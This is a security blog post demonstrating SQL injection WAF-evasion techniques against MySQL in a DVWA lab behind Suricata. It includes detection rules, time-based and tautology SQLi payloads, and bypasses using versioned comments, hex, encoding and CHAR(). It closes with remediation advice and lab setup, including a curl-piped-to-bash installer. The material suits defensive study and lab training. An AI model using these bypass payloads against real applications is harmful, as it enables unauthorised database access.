When Content Isn't Context: Breaking WAF SQLi Rules
Introduction
This post provides an in-depth exploration of SQL Injection WAF (Web Application Firewall) evasion techniques specifically targeting MySQL backends. It includes a hands-on demonstration using DVWA (Damn Vulnerable Web Application) in conjunction with a Suricata-based WAF.
I will analyse how simple Suricata rules, particularly those utilising “content: and nocase,” fail when attackers modify their payloads using MySQL-specific techniques such as comments, encoding, and alternative syntax.
This post aims to illustrate the ongoing cat-and-mouse dynamic between attackers and WAFs rather than simply sharing niche payloads. Additionally, I will discuss how to set up a testing environment for developers or security researchers who prefer not to invest in expensive enterprise WAFs. By the end, you’ll understand why signature-only detection is inadequate and what developers and defenders can do differently to harden defences.
WAF Rule Definition and Inspection
The following Suricata rules are used to detect SQL injection attempts. They represent what a security team might deploy as a first line of defence and how effective they are or not.
- Detection of “sleep(“
alert http any any -> any any (msg:"SQL Injection Attempt - sleep detected"; content:"sleep("; nocase; sid:1000001; rev:1;)
This rule monitors any HTTP traffic that contains the string “sleep(“. The nocase flag ensures that variations in case (such as “SlEeP”) are still matched. The purpose of this rule is to block time-based SQL injection attacks where the SLEEP(n) function is employed to measure execution delay. However, since it only matches the exact string, attackers can easily bypass it by inserting comments or using encodings.
Note: During the analysis, we will capture packets using tcpdump, analyse them with Suricata’s eve-log feature, and monitor them in real-time in the fast.log file.
The lab installation and configuration can be found in the Lab Setup section.
Below are canonical SQLi payloads that these rules successfully detect when injected into DVWA.
' AND IF(1=1, SLEEP(5), 0) --
' AND IF(1=1, SlEEp(3), 0) --
Request
http://vulnsrv-ubuntu/DVWA/vulnerabilities/sqli/?id=1%27%20AND%20IF(1=1,SLEEP(5),0)%20--%20-&Submit=Submit#
http://vulnsrv-ubuntu/DVWA/vulnerabilities/sqli/?id=1%27%20AND%20IF(1=1,%20SlEEp(3),%200)%20--%20-&Submit=Submit#
Suricata matches and gives us a alert on the literal “sleep(“ string.
12:57:39.923945 [**] [1:1000001:1] SQL Injection Attempt - sleep detected [**] [Classification: (null)] [Priority: 3] {TCP} xdnf.local:57514 -> vulnsrv-ubuntu:80
14:39:50.840272 [**] [1:1000001:1] SQL Injection Attempt - sleep detected [**] [Classification: (null)] [Priority: 3] {TCP} xdnf.local:58865 -> vulnsrv-ubuntu:80
When analyzing the captured HTTP packets with Suricata and reviewing the eve.json file, we can observe that an alarm has been triggered along with its details.
Sample eve.json alert + http pair (trimmed for readability):
{
"timestamp": "2025-08-20T14:55:15.409003-0700",
"flow_id": 321018899745278,
"event_type": "alert",
"src_ip": "192.168.0.99",
"src_port": 57514,
"dest_ip": "192.168.0.110",
"dest_port": 80,
"proto": "TCP",
"pkt_src": "wire/pcap",
"community_id": "1:LX6y0E3zkVWv2AnMUd4dFw7yY8o=",
"alert": {
"action": "allowed",
"gid": 1,
"signature_id": 1000001,
"rev": 1,
"signature": "SQL Injection Attempt - sleep detected",
"severity": 3
},
"http": {
"hostname": "vulnsrv-ubuntu",
"url": "/DVWA/vulnerabilities/sqli/?id=1%27%20OR%20SLEEP(5)%20--%20-&Submit=Submit",
"http_method": "GET",
"protocol": "HTTP/1.1",
},
What are we noticing here?
- event_type: “alert” is present with signature_id: 1000001.
- The http.url still contains SLEEP(5) — exactly what the content: rule looks for.
The following example clarifies two additional rules.
- Detection of “benchmark”
alert http any any -> any any (msg:"SQL Injection Attempt - benchmark detected"; content:"benchmark "; nocase; sid:1000002; rev:1;)
The second rule aims to prevent abuse of MySQL’s BENCHMARK() function, which is frequently exploited in time-based attacks by repeatedly executing a resource-intensive function. This rule looks for the literal string “benchmark.” While it accounts for case insensitivity, it is completely bypassed by variations in spacing, encoding, or comment-based obfuscation.
- Detection of tautologies
alert http any any -> any any (msg:"SQL Injection Attempt - tautology detected"; content:"' OR '1'='1"; nocase; sid:1000003; rev:1;)
The third rule aims to identify classic tautology-based injections, such as ‘ OR ‘1’=’1, which are often used to manipulate queries into always returning true. While this example is commonly seen in textbooks, attackers typically modify it in various ways, including using hex-encoded values, alternative whitespace characters, or different Boolean operators.
Limitation: All of these rely on literal string matching, which makes them trivial to bypass with encoding tricks, comment injection, or function reconstruction.
WAF Evasion Techniques & Why They Work
Attackers bypass Suricata’s content: signatures by exploiting MySQL parsing behaviours.
- Versioned comments:
Our WAF rule only matches if the literal substring “sleep(“ appears in the request.
An attacker can instead use the following payload to bypass it.
' AND IF(1=1,sleep/*!00000(5)*/,0) --
What is this payload doing?
When the MySQL parser encounters the keyword “sleep”, it processes the following comment denoted as /!00000(5)/. Since the version number is set to 00000, which is lower than any existing MySQL version, MySQL treats the content within the comment as executable SQL instead of ignoring it. As a result, the “(5)” is interpreted as the argument for the sleep function, causing the entire expression to evaluate to sleep(5).
http://vulnsrv-ubuntu/DVWA/vulnerabilities/sqli/?id=1' AND IF(1=1,sleep/*!00000(5)*/,0) -- -&Submit=Submit#
When Suricata’s fast.log file is reviewed, it will be noticed that no alarms have been triggered. When analysing HTTP packets in pcap with Suricata, we find that no alarms are triggered.
{
"timestamp": "2025-08-20T14:54:59.976313-0700",
"flow_id": 749474618951771,
"pcap_cnt": 19,
"event_type": "fileinfo",
"src_ip": "192.168.0.110",
"src_port": 80,
"dest_ip": "192.168.0.99",
"dest_port": 59042,
"proto": "TCP",
"pkt_src": "wire/pcap",
"community_id": "1:C5/aDEEVG6faRCnB0F9ipM2dtzQ=",
"http": {
"hostname": "vulnsrv-ubuntu",
"url": "/DVWA/vulnerabilities/sqli/?id=1%27%20OR%20SLEEP/**/(5)%20--%20-&Submit=Submit",
"http_content_type": "text/html",
"http_method": "GET",
"protocol": "HTTP/1.1",
"status": 200,
"length": 1472
},
"app_proto": "http",
"fileinfo": {
"filename": "/DVWA/vulnerabilities/sqli/",
"gaps": false,
"state": "CLOSED",
}
}
Why does this work so well?
- WAF signature blindness: Most WAFs using simple substring or regex signatures don’t account for MySQL’s quirky grammar. They scan text for keywords like sleep( or benchmark(. Splitting them with /!…/ breaks the match.
- MySQL leniency: MySQL happily executes this syntax (it was originally designed for conditional backwards compatibility). That means the obfuscated payload is still perfectly valid SQL.
- Minimal transformation: Unlike hex/CHAR tricks, versioned comments don’t change the semantics of the query at all — they just hide function calls inside a “comment.” That makes the payload simple and reliable.
- Case study:
- Naive WAF sees:”sleep/!00000(5)/” → doesn’t match sleep(
- MySQL sees:”sleep(5)” → executes a 5-second delay.
Let’s give a few more examples of different attack vectors.
- Obfuscation with Escape Characters
s\l\ee\p(5)
MySQL accepts escape characters in identifiers. Suricata’s substring match fails because it looks for sleep(, not s\l\eep(.
- Hex Encoding
0x736c656570(5)
0x736c656570 is hex for sleep. MySQL evaluates it as a function call. Suricata cannot interpret hex as SQL keywords and therefore never raises an alert.
- Whitespace Injection
SLEEP/**/(5)
MySQL ignores inline comments, treating them as whitespace. Suricata looks for a continuous string sleep(, which never appears.
- Chained Encodings
%53LEEP(5)
%53 decodes to “S”. Browsers or proxies decode this before MySQL processes it. Suricata often inspects raw traffic without normalizing, so it misses the decoded payload.
- CHAR() Construction
(SELECT CHAR(115,108,101,101,112))(5)
This constructs the function name “sleep” dynamically from ASCII codes. Suricata never sees the string sleep( in traffic, but MySQL executes it anyway.
Of course, in this process, I gave examples of a very basic WAF rule and payload types, but it explains the basics in terms of creating a general idea.
Remediation
- Parameterized Queries (Prepared Statements)
SQLi must be addressed at the code level first, with WAFs as an additional layer. The main challenge that developers encounter today is trust in frameworks and security products. As can be seen in this post, these products also have certain limits and at the end of the day, attackers can reach the code level.
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
- Regex-Based WAF Rules (better than content)
It is more effective than static solutions but not completely secure. Proper regex configuration is essential. I will soon share a post about what happens if you configure regex improperly.
- Libinjection (ModSecurity/NAXSI)
Use SQL-aware parsing libraries that detect tokens regardless of encoding/obfuscation.
Key message: WAFs are a safety net, not the primary defense. True security comes from secure coding + layered defenses.
Conclusion
This post shows how easily static WAF signatures fail. Attackers only need minor mutations — inserting whitespace, encoding characters, or reconstructing functions — to bypass naive rules.
Defenders must:
- Move beyond content:-only rules.
- Adopt regex and token-aware parsing (libinjection).
- Implement whitelisting for parameters.
- Above all, use parameterized queries in applications.
In SQL injection defense, attackers need one working bypass — defenders must cover all possibilities. The only sustainable strategy is defense in depth: strong coding practices, tuned WAF rules, runtime protections, and least-privilege database design.
Lab Setup
DVWA Installation
git clone https://github.com/digininja/DVWA.git
Automated one-liner installation:
sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)"
Suricata Installation and Configuration
- Install Suricata
sudo apt update
sudo apt install suricata -y
- Suricata configuration
sudo vim /etc/suricata/suricata.yaml
suricata.yaml
The network interface parameter should be replaced with the network interface used by the server.
[...SNIPPED...]
# Linux high speed capture support
#af-packet:
- interface: ens33
# Number of receive threads. "auto" uses the number of cores
#threads: auto
# Default clusterid. AF_PACKET will load balance packets based on flow.
cluster-id: 99
[...SNIPPED...]
Define rule path:
[...SNIPPED...]
##
## Configure Suricata to load Suricata-Update managed rules.
##
default-rule-path: /etc/suricata/rules
rule-files:
- local.rules
[...SNIPPED...]
If pcap is to be analyzed with eve-log, the following settings must be made.
[...SNIPPED...]
# Extensible Event Format (nicknamed EVE) event log in JSON format
- eve-log:
enabled: yes
filetype: regular #regular|syslog|unix_dgram|unix_stream|redis
filename: eve.json
# Enable for multi-threaded eve.json output; output files are amended with
# an identifier, e.g., eve.9.json
[...SNIPPED...]
[...SNIPPED...]
types:
- alert:
payload: yes # enable dumping payload in Base64
payload-buffer-size: 4kb # max size of payload buffer to output in eve-log
payload-printable: yes # enable dumping payload in printable (lossy) format
packet: yes # enable dumping of packet (without stream segments)
# metadata: yes # enable inclusion of app layer metadata with alert. Default yes
# http-body: yes # Requires metadata; enable dumping of HTTP body in Base64
# http-body-printable: yes # Requires metadata; enable dumping of HTTP body in printable format
# Enable the logging of tagged packets for rules using the
# "tag" keyword.
tagged-packets: yes
# Enable logging the final action taken on a packet by the engine
# (e.g: the alert may have action 'allowed' but the verdict be
# 'drop' due to another alert. That's the engine's verdict)
# verdict: yes
# app layer frames
[...SNIPPED...]
- http:
extended: yes # enable this for extended logging information
# custom allows additional HTTP fields to be included in eve-log.
# the example below adds three additional fields when uncommented
custom: [Accept-Encoding, Accept-Language, Authorization]
# set this value to one and only one from {both, request, response}
# to dump all HTTP headers for every HTTP request and/or response
# dump-all-headers: none
[...SNIPPED...]
# a line based log of HTTP requests (no alerts)
- http-log:
enabled: yes
filename: http.log
append: yes
extended: yes
#custom: yes
#filetype: regular
[...SNIPPED...]
Rule define:
sudo nano /etc/suricata/rules/local.rules
local.rules
alert http any any -> any any (msg:"SQL Injection Attempt - sleep detected"; content:"sleep("; nocase; sid:1000001; rev:1;)
Note: It need to change -i parameter with server’s network interface
The logs can be examined continuously with the following command.
tail -f /var/log/suricata/fast.log
Tcpdump & Suricata Correlation
HTTP packets can be captured with the following commands:
sudo tcpdump -i ens33 -w sqli_evasion.pcap 'tcp port 80 and host vulnserv-ubuntu'
Note: The—i parameter needs to be changed to the server’s network interface, and the host parameter needs to be changed to the vulnerable server’s DNS or IP address.
The network package can be correlated with Suricata and the output can be written to the eve.json file with the following command:
sudo suricata -r sqli_evasion.pcap -c /etc/suricata/suricata.yaml -l ./lab-logs -k none